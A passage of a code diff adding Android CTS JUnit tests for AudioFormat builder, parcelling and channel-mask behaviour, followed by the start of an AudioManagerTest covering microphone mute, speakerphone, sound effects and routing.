+    }
+
+    // Test case 2: Use Builder to duplicate an AudioFormat with only encoding supplied
+    public void testPartialFormatBuilderForCopyEncoding() throws Exception {
+        final int TEST_ENCODING = AudioFormat.ENCODING_PCM_16BIT;
+
+        final AudioFormat formatToCopy = new AudioFormat.Builder()
+                .setEncoding(TEST_ENCODING).build();
+        assertNotNull("Failure to create the AudioFormat to copy", formatToCopy);
+
+        final AudioFormat copiedFormat = new AudioFormat.Builder(formatToCopy).build();
+        assertNotNull("Failure to create AudioFormat copy with Builder", copiedFormat);
+        assertEquals("New AudioFormat has wrong encoding",
+                TEST_ENCODING, copiedFormat.getEncoding());
+        // test expected values when none has been set
+        assertEquals("New AudioFormat doesn't report expected sample rate",
+                0, copiedFormat.getSampleRate());
+        assertEquals("New AudioFormat doesn't report expected channel mask",
+                AudioFormat.CHANNEL_INVALID, copiedFormat.getChannelMask());
+        assertEquals("New AudioFormat doesn't report expected channel index mask",
+                AudioFormat.CHANNEL_INVALID, copiedFormat.getChannelIndexMask());
+    }
+
+    // Test case 3: Use Builder to duplicate an AudioFormat with only sample rate supplied
+    public void testPartialFormatBuilderForCopyRate() throws Exception {
+        final int TEST_SR = 48000;
+
+        final AudioFormat formatToCopy = new AudioFormat.Builder()
+                .setSampleRate(TEST_SR).build();
+        assertNotNull("Failure to create the AudioFormat to copy", formatToCopy);
+
+        final AudioFormat copiedFormat = new AudioFormat.Builder(formatToCopy).build();
+        assertNotNull("Failure to create AudioFormat copy with Builder", copiedFormat);
+        assertEquals("New AudioFormat has wrong sample rate",
+                TEST_SR, copiedFormat.getSampleRate());
+        // test expected values when none has been set
+        assertEquals("New AudioFormat doesn't report expected encoding",
+                AudioFormat.ENCODING_INVALID, copiedFormat.getEncoding());
+        assertEquals("New AudioFormat doesn't report expected channel mask",
+                AudioFormat.CHANNEL_INVALID, copiedFormat.getChannelMask());
+        assertEquals("New AudioFormat doesn't report expected channel index mask",
+                AudioFormat.CHANNEL_INVALID, copiedFormat.getChannelIndexMask());
+    }
+
+    // Test case 4: Use Builder to duplicate an AudioFormat with only channel mask supplied
+    public void testPartialFormatBuilderForCopyChanMask() throws Exception {
+        final int TEST_CONF_POS = AudioFormat.CHANNEL_OUT_5POINT1;
+
+        final AudioFormat formatToCopy = new AudioFormat.Builder()
+                .setChannelMask(TEST_CONF_POS).build();
+        assertNotNull("Failure to create the AudioFormat to copy", formatToCopy);
+
+        final AudioFormat copiedFormat = new AudioFormat.Builder(formatToCopy).build();
+        assertNotNull("Failure to create AudioFormat copy with Builder", copiedFormat);
+        assertEquals("New AudioFormat has wrong channel mask",
+                TEST_CONF_POS, copiedFormat.getChannelMask());
+        // test expected values when none has been set
+        assertEquals("New AudioFormat doesn't report expected encoding",
+                AudioFormat.ENCODING_INVALID, copiedFormat.getEncoding());
+        assertEquals("New AudioFormat doesn't report expected sample rate",
+                0, copiedFormat.getSampleRate());
+        assertEquals("New AudioFormat doesn't report expected channel index mask",
+                AudioFormat.CHANNEL_INVALID, copiedFormat.getChannelIndexMask());
+    }
+
+
+    // Test case 5: Use Builder to duplicate an AudioFormat with only channel index mask supplied
+    public void testPartialFormatBuilderForCopyChanIdxMask() throws Exception {
+        final int TEST_CONF_IDX = 0x30;
+
+        final AudioFormat formatToCopy = new AudioFormat.Builder()
+                .setChannelIndexMask(TEST_CONF_IDX).build();
+        assertNotNull("Failure to create the AudioFormat to copy", formatToCopy);
+
+        final AudioFormat copiedFormat = new AudioFormat.Builder(formatToCopy).build();
+        assertNotNull("Failure to create AudioFormat copy with Builder", copiedFormat);
+        assertEquals("New AudioFormat has wrong channel mask",
+                TEST_CONF_IDX, copiedFormat.getChannelIndexMask());
+        // test expected values when none has been set
+        assertEquals("New AudioFormat doesn't report expected encoding",
+                AudioFormat.ENCODING_INVALID, copiedFormat.getEncoding());
+        assertEquals("New AudioFormat doesn't report expected sample rate",
+                0, copiedFormat.getSampleRate());
+        assertEquals("New AudioFormat doesn't report expected channel mask",
+                AudioFormat.CHANNEL_INVALID, copiedFormat.getChannelMask());
+    }
+
+    // Test case 6: create an instance, marshall it and create a new instance,
+    //      check for equality
+    public void testParcel() throws Exception {
+        final int TEST_ENCODING = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_SR = 48000;
+        final int TEST_CONF_POS = AudioFormat.CHANNEL_OUT_5POINT1;
+        // 6ch, like in 5.1 above offset by a randomly chosen number
+        final int TEST_CONF_IDX = 0x3F << 3;
+
+        final AudioFormat formatToMarshall = new AudioFormat.Builder()
+                .setEncoding(TEST_ENCODING).setSampleRate(TEST_SR)
+                .setChannelMask(TEST_CONF_POS).setChannelIndexMask(TEST_CONF_IDX).build();
+        assertNotNull("Failure to create the AudioFormat to marshall", formatToMarshall);
+        assertEquals(0, formatToMarshall.describeContents());
+
+        final Parcel srcParcel = Parcel.obtain();
+        final Parcel dstParcel = Parcel.obtain();
+
+        formatToMarshall.writeToParcel(srcParcel, 0 /*no public flags for marshalling*/);
+        final byte[] mbytes = srcParcel.marshall();
+        dstParcel.unmarshall(mbytes, 0, mbytes.length);
+        dstParcel.setDataPosition(0);
+        final AudioFormat unmarshalledFormat = AudioFormat.CREATOR.createFromParcel(dstParcel);
+
+        assertNotNull("Failure to unmarshall AudioFormat", unmarshalledFormat);
+        assertEquals("Source and destination AudioFormat not equal",
+                formatToMarshall, unmarshalledFormat);
+    }
+
+    // Test case 7: Check frame size for compressed, float formats.
+    public void testFrameSize() throws Exception {
+        int[] encodings = {
+            AudioFormat.ENCODING_MP3,
+            AudioFormat.ENCODING_AAC_LC,
+            AudioFormat.ENCODING_AAC_HE_V1,
+            AudioFormat.ENCODING_AAC_HE_V2,
+            AudioFormat.ENCODING_OPUS,
+            AudioFormat.ENCODING_MPEGH_BL_L3,
+            AudioFormat.ENCODING_MPEGH_BL_L4,
+            AudioFormat.ENCODING_MPEGH_LC_L3,
+            AudioFormat.ENCODING_MPEGH_LC_L4,
+            AudioFormat.ENCODING_DTS_UHD,
+            AudioFormat.ENCODING_DRA,
+        };
+        for (int encoding : encodings) {
+            final AudioFormat format = new AudioFormat.Builder()
+                .setEncoding(encoding)
+                .setSampleRate(44100)
+                .setChannelMask(AudioFormat.CHANNEL_OUT_STEREO)
+                .build();
+
+            assertEquals("AudioFormat with encoding " + encoding + " has the wrong frame size",
+                    1, format.getFrameSizeInBytes());
+        }
+
+        final AudioFormat formatPcmFloat = new AudioFormat.Builder()
+            .setEncoding(AudioFormat.ENCODING_PCM_FLOAT)
+            .setSampleRate(192000)
+            .setChannelMask(AudioFormat.CHANNEL_OUT_STEREO)
+            .build();
+
+        assertEquals("Float AudioFormat has the wrong frame size",
+            2 /* channels */ * 4 /* bytes per sample */, formatPcmFloat.getFrameSizeInBytes());
+    }
+
+    /**
+     * Check whether the bits in a are all present in b.
+     *
+     * Used for channel position mask verification.
+     */
+    private boolean subsetOf(int a, int b) {
+        return Integer.bitCount(a ^ b) == Integer.bitCount(b) - Integer.bitCount(a);
+    }
+
+    /**
+     * Test case 8: Check validity of channel masks
+     */
+    public void testChannelMasks() throws Exception {
+        // Channel count check.
+        int[][] maskCount = new int[][] {
+                {AudioFormat.CHANNEL_OUT_MONO, 1},
+                {AudioFormat.CHANNEL_OUT_STEREO, 2},
+                {AudioFormat.CHANNEL_OUT_QUAD, 4},
+                {AudioFormat.CHANNEL_OUT_SURROUND, 4},
+                {AudioFormat.CHANNEL_OUT_5POINT1, 6},
+                {AudioFormat.CHANNEL_OUT_5POINT1POINT2, 8},
+                {AudioFormat.CHANNEL_OUT_7POINT1_SURROUND, 8},
+                {AudioFormat.CHANNEL_OUT_7POINT1POINT2, 10},
+                {AudioFormat.CHANNEL_OUT_5POINT1POINT4, 10},
+                {AudioFormat.CHANNEL_OUT_7POINT1POINT2, 10},
+                {AudioFormat.CHANNEL_OUT_7POINT1POINT4, 12},
+                {AudioFormat.CHANNEL_OUT_9POINT1POINT4, 14},
+                {AudioFormat.CHANNEL_OUT_13POINT_360RA, 13},
+                {AudioFormat.CHANNEL_OUT_9POINT1POINT6, 16},
+                {AudioFormat.CHANNEL_OUT_22POINT2, 24},
+        };
+        for (int[] pair : maskCount) {
+            assertEquals("Mask " + Integer.toHexString(pair[0])
+                    + " should have " + pair[1] + " bits set#",
+                    /*expected*/ pair[1], /*actual*/ Integer.bitCount(pair[0]));
+        }
+
+        // Check channel position masks that are a subset of other masks.
+        assertTrue(subsetOf(AudioFormat.CHANNEL_OUT_MONO,
+                AudioFormat.CHANNEL_OUT_STEREO));
+        assertTrue(subsetOf(AudioFormat.CHANNEL_OUT_STEREO,
+                AudioFormat.CHANNEL_OUT_QUAD));
+        assertTrue(subsetOf(AudioFormat.CHANNEL_OUT_STEREO,
+                AudioFormat.CHANNEL_OUT_SURROUND));
+        assertTrue(subsetOf(AudioFormat.CHANNEL_OUT_QUAD,
+                AudioFormat.CHANNEL_OUT_5POINT1));
+        assertTrue(subsetOf(AudioFormat.CHANNEL_OUT_5POINT1,
+                AudioFormat.CHANNEL_OUT_5POINT1POINT2));
+        assertTrue(subsetOf(AudioFormat.CHANNEL_OUT_5POINT1,
+                AudioFormat.CHANNEL_OUT_5POINT1POINT4));
+        // Note CHANNEL_OUT_5POINT1POINT2 not a subset of CHANNEL_OUT_5POINT1POINT4
+        assertTrue(subsetOf(AudioFormat.CHANNEL_OUT_7POINT1_SURROUND,
+                AudioFormat.CHANNEL_OUT_7POINT1POINT2));
+        assertTrue(subsetOf(AudioFormat.CHANNEL_OUT_7POINT1_SURROUND,
+                AudioFormat.CHANNEL_OUT_7POINT1POINT4));
+        // Note CHANNEL_OUT_7POINT1POINT2 not a subset of CHANNEL_OUT_7POINT1POINT4
+        assertTrue(subsetOf(AudioFormat.CHANNEL_OUT_5POINT1POINT4,
+                AudioFormat.CHANNEL_OUT_7POINT1POINT4));
+        assertTrue(subsetOf(AudioFormat.CHANNEL_OUT_7POINT1POINT4,
+                AudioFormat.CHANNEL_OUT_22POINT2));
+        assertTrue(subsetOf(AudioFormat.CHANNEL_OUT_7POINT1POINT4,
+                AudioFormat.CHANNEL_OUT_9POINT1POINT4));
+        assertTrue(subsetOf(AudioFormat.CHANNEL_OUT_9POINT1POINT4,
+                AudioFormat.CHANNEL_OUT_9POINT1POINT6));
+        assertTrue(subsetOf(AudioFormat.CHANNEL_OUT_13POINT_360RA,
+                AudioFormat.CHANNEL_OUT_22POINT2));
+    }
+
+    /**
+     * Test AudioFormat Builder error handling.
+     *
+     * @throws Exception
+     */
+    public void testAudioFormatBuilderError() throws Exception {
+        final int BIGNUM = Integer.MAX_VALUE;
+
+        // Note: setChannelMask() and setChannelIndexMask() are
+        // validated when used, i.e. in AudioTrack and AudioRecord.
+
+        assertThrows(IllegalArgumentException.class, () -> {
+            new AudioFormat.Builder()
+                    .setEncoding(BIGNUM)
+                    .build();
+        });
+
+        // Sample rate out of bounds. These cases caught in AudioFormat.
+        for (int sampleRate : new int[] {-BIGNUM, -1, BIGNUM}) {
+            assertThrows(IllegalArgumentException.class, () -> {
+                new AudioFormat.Builder()
+                        .setSampleRate(sampleRate)
+                        .build();
+            });
+        }
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioManagerTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioManagerTest.java
new file mode 100644
index 0000000..7d8743c
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioManagerTest.java
@@ -0,0 +1,1986 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import static org.junit.Assert.assertNotEquals;
+
+import static android.media.AudioManager.ADJUST_LOWER;
+import static android.media.AudioManager.ADJUST_RAISE;
+import static android.media.AudioManager.ADJUST_SAME;
+import static android.media.AudioManager.MODE_IN_CALL;
+import static android.media.AudioManager.MODE_IN_COMMUNICATION;
+import static android.media.AudioManager.MODE_NORMAL;
+import static android.media.AudioManager.MODE_RINGTONE;
+import static android.media.AudioManager.RINGER_MODE_NORMAL;
+import static android.media.AudioManager.RINGER_MODE_SILENT;
+import static android.media.AudioManager.RINGER_MODE_VIBRATE;
+import static android.media.AudioManager.STREAM_ACCESSIBILITY;
+import static android.media.AudioManager.STREAM_ALARM;
+import static android.media.AudioManager.STREAM_DTMF;
+import static android.media.AudioManager.STREAM_MUSIC;
+import static android.media.AudioManager.STREAM_NOTIFICATION;
+import static android.media.AudioManager.STREAM_RING;
+import static android.media.AudioManager.STREAM_SYSTEM;
+import static android.media.AudioManager.STREAM_VOICE_CALL;
+import static android.media.AudioManager.USE_DEFAULT_STREAM_TYPE;
+import static android.media.AudioManager.VIBRATE_SETTING_OFF;
+import static android.media.AudioManager.VIBRATE_SETTING_ON;
+import static android.media.AudioManager.VIBRATE_SETTING_ONLY_SILENT;
+import static android.media.AudioManager.VIBRATE_TYPE_NOTIFICATION;
+import static android.media.AudioManager.VIBRATE_TYPE_RINGER;
+import static android.provider.Settings.System.SOUND_EFFECTS_ENABLED;
+
+import android.Manifest;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.content.res.Resources;
+import android.media.AudioAttributes;
+import android.media.AudioDeviceAttributes;
+import android.media.AudioDeviceInfo;
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.AudioProfile;
+import android.media.AudioDescriptor;
+import android.media.MediaPlayer;
+import android.media.MediaRecorder;
+import android.media.MicrophoneInfo;
+import android.media.audio.cts.R;
+import android.media.audiopolicy.AudioProductStrategy;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.cts.Utils;
+
+import android.os.Build;
+import android.os.SystemClock;
+import android.os.Vibrator;
+import android.platform.test.annotations.AppModeFull;
+import android.provider.Settings;
+import android.provider.Settings.System;
+import android.test.InstrumentationTestCase;
+import android.text.TextUtils;
+import android.util.Log;
+import android.view.SoundEffectConstants;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.MediaUtils;
+import com.android.compatibility.common.util.SettingsStateKeeperRule;
+import com.android.internal.annotations.GuardedBy;
+
+import org.junit.ClassRule;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.concurrent.Executors;
+import java.util.function.Predicate;
+import java.util.stream.Collectors;
+import java.util.stream.IntStream;
+
+@NonMediaMainlineTest
+public class AudioManagerTest extends InstrumentationTestCase {
+    private final static String TAG = "AudioManagerTest";
+
+    private final static long ASYNC_TIMING_TOLERANCE_MS = 50;
+    private final static long POLL_TIME_VOLUME_ADJUST = 200;
+    private final static long POLL_TIME_UPDATE_INTERRUPTION_FILTER = 5000;
+    private final static int MP3_TO_PLAY = R.raw.testmp3; // ~ 5 second mp3
+    private final static long POLL_TIME_PLAY_MUSIC = 2000;
+    private final static long TIME_TO_PLAY = 2000;
+    private final static String APPOPS_OP_STR = "android:write_settings";
+    private final static Set<Integer> ALL_KNOWN_ENCAPSULATION_TYPES = new HashSet<>() {{
+            add(AudioProfile.AUDIO_ENCAPSULATION_TYPE_IEC61937);
+    }};
+    private final static Set<Integer> ALL_ENCAPSULATION_TYPES = new HashSet<>() {{
+            add(AudioProfile.AUDIO_ENCAPSULATION_TYPE_NONE);
+            add(AudioProfile.AUDIO_ENCAPSULATION_TYPE_IEC61937);
+    }};
+    private final static HashSet<Integer> ALL_AUDIO_STANDARDS = new HashSet<>() {{
+            add(AudioDescriptor.STANDARD_NONE);
+            add(AudioDescriptor.STANDARD_EDID);
+    }};
+    private AudioManager mAudioManager;
+    private NotificationManager mNm;
+    private boolean mHasVibrator;
+    private boolean mUseFixedVolume;
+    private boolean mIsTelevision;
+    private boolean mIsSingleVolume;
+    private boolean mSkipRingerTests;
+    // From N onwards, ringer mode adjustments that toggle DND are not allowed unless
+    // package has DND access. Many tests in this package toggle DND access in order
+    // to get device out of the DND state for the test to proceed correctly.
+    // But DND access is disabled completely on low ram devices,
+    // so completely skip those tests here.
+    // These tests are migrated to CTS verifier tests to ensure test coverage.
+    private Context mContext;
+    private int mOriginalRingerMode;
+    private Map<Integer, Integer> mOriginalStreamVolumes = new HashMap<>();
+    private NotificationManager.Policy mOriginalNotificationPolicy;
+    private int mOriginalZen;
+    private boolean mDoNotCheckUnmute;
+    private boolean mAppsBypassingDnd;
+
+    @ClassRule
+    public static final SettingsStateKeeperRule mSurroundSoundFormatsSettingsKeeper =
+            new SettingsStateKeeperRule(InstrumentationRegistry.getTargetContext(),
+                    Settings.Global.ENCODED_SURROUND_OUTPUT_ENABLED_FORMATS);
+
+    @ClassRule
+    public static final SettingsStateKeeperRule mSurroundSoundModeSettingsKeeper =
+            new SettingsStateKeeperRule(InstrumentationRegistry.getTargetContext(),
+                    Settings.Global.ENCODED_SURROUND_OUTPUT);
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mContext = getInstrumentation().getContext();
+        Utils.enableAppOps(mContext.getPackageName(), APPOPS_OP_STR, getInstrumentation());
+        mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+        Vibrator vibrator = (Vibrator) mContext.getSystemService(Context.VIBRATOR_SERVICE);
+        mNm = (NotificationManager) mContext.getSystemService(Context.NOTIFICATION_SERVICE);
+        mAppsBypassingDnd = NotificationManager.getService().areChannelsBypassingDnd();
+        mHasVibrator = (vibrator != null) && vibrator.hasVibrator();
+        mUseFixedVolume = mContext.getResources().getBoolean(
+                Resources.getSystem().getIdentifier("config_useFixedVolume", "bool", "android"));
+        PackageManager packageManager = mContext.getPackageManager();
+        mIsTelevision = packageManager != null
+                && (packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
+                        || packageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION));
+        mIsSingleVolume = mContext.getResources().getBoolean(
+                Resources.getSystem().getIdentifier("config_single_volume", "bool", "android"));
+        mSkipRingerTests = mUseFixedVolume || mIsTelevision || mIsSingleVolume;
+
+        // Store the original volumes that that they can be recovered in tearDown().
+        final int[] streamTypes = {
+            STREAM_VOICE_CALL,
+            STREAM_SYSTEM,
+            STREAM_RING,
+            STREAM_MUSIC,
+            STREAM_ALARM,
+            STREAM_NOTIFICATION,
+            STREAM_DTMF,
+            STREAM_ACCESSIBILITY,
+        };
+        mOriginalRingerMode = mAudioManager.getRingerMode();
+        for (int streamType : streamTypes) {
+            mOriginalStreamVolumes.put(streamType, mAudioManager.getStreamVolume(streamType));
+        }
+
+        try {
+            Utils.toggleNotificationPolicyAccess(
+                    mContext.getPackageName(), getInstrumentation(), true);
+            mOriginalNotificationPolicy = mNm.getNotificationPolicy();
+            mOriginalZen = mNm.getCurrentInterruptionFilter();
+        } finally {
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+            Utils.toggleNotificationPolicyAccess(
+                    mContext.getPackageName(), getInstrumentation(), false);
+        }
+
+        // Check original microphone mute/unmute status
+        mDoNotCheckUnmute = false;
+        if (mAudioManager.isMicrophoneMute()) {
+            mAudioManager.setMicrophoneMute(false);
+            if (mAudioManager.isMicrophoneMute()) {
+                Log.w(TAG, "Mic seems muted by hardware! Please unmute and rerrun the test.");
+                mDoNotCheckUnmute = true;
+            }
+        }
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        try {
+            Utils.toggleNotificationPolicyAccess(
+                    mContext.getPackageName(), getInstrumentation(), true);
+            mNm.setNotificationPolicy(mOriginalNotificationPolicy);
+            setInterruptionFilter(mOriginalZen);
+
+            // Recover the volume and the ringer mode that the test may have overwritten.
+            for (Map.Entry<Integer, Integer> e : mOriginalStreamVolumes.entrySet()) {
+                mAudioManager.setStreamVolume(e.getKey(), e.getValue(),
+                                              AudioManager.FLAG_ALLOW_RINGER_MODES);
+            }
+            mAudioManager.setRingerMode(mOriginalRingerMode);
+        } finally {
+            Utils.toggleNotificationPolicyAccess(
+                    mContext.getPackageName(), getInstrumentation(), false);
+        }
+    }
+
+    @AppModeFull(reason = "Instant apps cannot hold android.permission.MODIFY_AUDIO_SETTINGS")
+    public void testMicrophoneMute() throws Exception {
+        mAudioManager.setMicrophoneMute(true);
+        assertTrue(mAudioManager.isMicrophoneMute());
+        mAudioManager.setMicrophoneMute(false);
+        assertFalse(mAudioManager.isMicrophoneMute() && !mDoNotCheckUnmute);
+    }
+
+    @AppModeFull(reason = "Instant apps cannot hold android.permission.MODIFY_AUDIO_SETTINGS")
+    public void testMicrophoneMuteIntent() throws Exception {
+        if (!mDoNotCheckUnmute) {
+            final MyBlockingIntentReceiver receiver = new MyBlockingIntentReceiver(
+                    AudioManager.ACTION_MICROPHONE_MUTE_CHANGED);
+            final boolean initialMicMute = mAudioManager.isMicrophoneMute();
+            try {
+                mContext.registerReceiver(receiver,
+                        new IntentFilter(AudioManager.ACTION_MICROPHONE_MUTE_CHANGED));
+                // change the mic mute state
+                mAudioManager.setMicrophoneMute(!initialMicMute);
+                // verify a change was reported
+                final boolean intentFired = receiver.waitForExpectedAction(500/*ms*/);
+                assertTrue("ACTION_MICROPHONE_MUTE_CHANGED wasn't fired", intentFired);
+                // verify the mic mute state is expected
+                final boolean newMicMute = mAudioManager.isMicrophoneMute();
+                assertTrue("new mic mute state not as expected (" + !initialMicMute + ")",
+                        (newMicMute == !initialMicMute));
+            } finally {
+                mContext.unregisterReceiver(receiver);
+                mAudioManager.setMicrophoneMute(initialMicMute);
+            }
+        }
+    }
+
+    @AppModeFull(reason = "Instant apps cannot hold android.permission.MODIFY_AUDIO_SETTINGS")
+    public void testSpeakerphoneIntent() throws Exception {
+        //  Speaker Phone Not supported in Automotive
+        if (isAutomotive()) {
+            return;
+        }
+        final MyBlockingIntentReceiver receiver = new MyBlockingIntentReceiver(
+                AudioManager.ACTION_SPEAKERPHONE_STATE_CHANGED);
+        final boolean initialSpeakerphoneState = mAudioManager.isSpeakerphoneOn();
+        try {
+            mContext.registerReceiver(receiver,
+                    new IntentFilter(AudioManager.ACTION_SPEAKERPHONE_STATE_CHANGED));
+            // change the speakerphone state
+            mAudioManager.setSpeakerphoneOn(!initialSpeakerphoneState);
+            // verify a change was reported
+            final boolean intentFired = receiver.waitForExpectedAction(500/*ms*/);
+            assertTrue("ACTION_SPEAKERPHONE_STATE_CHANGED wasn't fired", intentFired);
+            // verify the speakerphon state is expected
+            final boolean newSpeakerphoneState = mAudioManager.isSpeakerphoneOn();
+            assertTrue("new mic mute state not as expected ("
+                    + !initialSpeakerphoneState + ")",
+                    newSpeakerphoneState == !initialSpeakerphoneState);
+        } finally {
+            mContext.unregisterReceiver(receiver);
+            mAudioManager.setSpeakerphoneOn(initialSpeakerphoneState);
+        }
+    }
+
+    private static final class MyBlockingIntentReceiver extends BroadcastReceiver {
+        private final SafeWaitObject mLock = new SafeWaitObject();
+        // the action for the intent to check
+        private final String mAction;
+        @GuardedBy("mLock")
+        private boolean mIntentReceived = false;
+
+        MyBlockingIntentReceiver(String action) {
+            mAction = action;
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (!TextUtils.equals(intent.getAction(), mAction)) {
+                // move along, this is not the action we're looking for
+                return;
+            }
+            synchronized (mLock) {
+                mIntentReceived = true;
+                mLock.safeNotify();
+            }
+        }
+
+        public boolean waitForExpectedAction(long timeOutMs) {
+            synchronized (mLock) {
+                try {
+                    mLock.safeWait(timeOutMs);
+                } catch (InterruptedException e) { }
+                return mIntentReceived;
+            }
+        }
+    }
+
+    public void testSoundEffects() throws Exception {
+        Settings.System.putInt(mContext.getContentResolver(), SOUND_EFFECTS_ENABLED, 1);
+
+        // should hear sound after loadSoundEffects() called.
+        mAudioManager.loadSoundEffects();
+        Thread.sleep(TIME_TO_PLAY);
+        float volume = 0.5f;  // volume should be between 0.f to 1.f (or -1).
+        mAudioManager.playSoundEffect(SoundEffectConstants.CLICK);
+        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_UP);
+        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_DOWN);
+        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_LEFT);
+        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_RIGHT);
+
+        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_UP, volume);
+        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_DOWN, volume);
+        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_LEFT, volume);
+        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_RIGHT, volume);
+
+        // won't hear sound after unloadSoundEffects() called();
+        mAudioManager.unloadSoundEffects();
+        mAudioManager.playSoundEffect(AudioManager.FX_KEY_CLICK);
+        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_UP);
+        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_DOWN);
+        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_LEFT);
+        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_RIGHT);
+
+        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_UP, volume);
+        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_DOWN, volume);
+        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_LEFT, volume);
+        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_RIGHT, volume);
+    }
+
+    public void testCheckingZenModeBlockDoesNotRequireNotificationPolicyAccess() throws Exception {
+        try {
+            // set zen mode to priority only, so playSoundEffect will check notification policy
+            Utils.toggleNotificationPolicyAccess(mContext.getPackageName(), getInstrumentation(),
+                    true);
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
+            Settings.System.putInt(mContext.getContentResolver(), SOUND_EFFECTS_ENABLED, 1);
+
+            // take away write-notification policy access from the package
+            Utils.toggleNotificationPolicyAccess(mContext.getPackageName(), getInstrumentation(),
+                    false);
+
+            // playSoundEffect should NOT throw a security exception; all apps have read-access
+            mAudioManager.playSoundEffect(SoundEffectConstants.CLICK);
+        } finally {
+            Utils.toggleNotificationPolicyAccess(mContext.getPackageName(), getInstrumentation(),
+                    true);
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+            Utils.toggleNotificationPolicyAccess(mContext.getPackageName(), getInstrumentation(),
+                    false);
+        }
+    }
+
+    public void testMusicActive() throws Exception {
+        if (mAudioManager.isMusicActive()) {
+            return;
+        }
+        MediaPlayer mp = MediaPlayer.create(mContext, MP3_TO_PLAY);
+        assertNotNull(mp);
+        mp.setAudioStreamType(STREAM_MUSIC);
+        mp.start();
+        assertMusicActive(true);
+        mp.stop();
+        mp.release();
+        assertMusicActive(false);
+    }
+
+    @AppModeFull(reason = "Instant apps cannot hold android.permission.MODIFY_AUDIO_SETTINGS")
+    public void testAccessMode() throws Exception {
+        mAudioManager.setMode(MODE_RINGTONE);
+        assertEquals(MODE_RINGTONE, mAudioManager.getMode());
+        mAudioManager.setMode(MODE_IN_COMMUNICATION);
+        assertEquals(MODE_IN_COMMUNICATION, mAudioManager.getMode());
+        mAudioManager.setMode(MODE_NORMAL);
+        assertEquals(MODE_NORMAL, mAudioManager.getMode());
+    }
+
+    public void testSetSurroundFormatEnabled() throws Exception {
+        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+                Manifest.permission.WRITE_SETTINGS);
+
+        int audioFormat = AudioFormat.ENCODING_DTS;
+
+        mAudioManager.setSurroundFormatEnabled(audioFormat, true /*enabled*/);
+        assertTrue(mAudioManager.isSurroundFormatEnabled(audioFormat));
+
+        mAudioManager.setSurroundFormatEnabled(audioFormat, false /*enabled*/);
+        assertFalse(mAudioManager.isSurroundFormatEnabled(audioFormat));
+
+        getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+    }
+
+    public void testSetEncodedSurroundMode() throws Exception {
+        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+                Manifest.permission.WRITE_SETTINGS);
+
+        int expectedSurroundFormatsMode = Settings.Global.ENCODED_SURROUND_OUTPUT_MANUAL;
+        mAudioManager.setEncodedSurroundMode(expectedSurroundFormatsMode);
+        assertEquals(expectedSurroundFormatsMode, mAudioManager.getEncodedSurroundMode());
+
+        expectedSurroundFormatsMode = Settings.Global.ENCODED_SURROUND_OUTPUT_NEVER;
+        mAudioManager.setEncodedSurroundMode(expectedSurroundFormatsMode);
+        assertEquals(expectedSurroundFormatsMode, mAudioManager.getEncodedSurroundMode());
+
+        getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+    }
+
+    @SuppressWarnings("deprecation")
+    @AppModeFull(reason = "Instant apps cannot hold android.permission.MODIFY_AUDIO_SETTINGS")
+    public void testRouting() throws Exception {
+        // setBluetoothA2dpOn is a no-op, and getRouting should always return -1
+        boolean oldA2DP = mAudioManager.isBluetoothA2dpOn();
+        mAudioManager.setBluetoothA2dpOn(true);
+        assertEquals(oldA2DP , mAudioManager.isBluetoothA2dpOn());
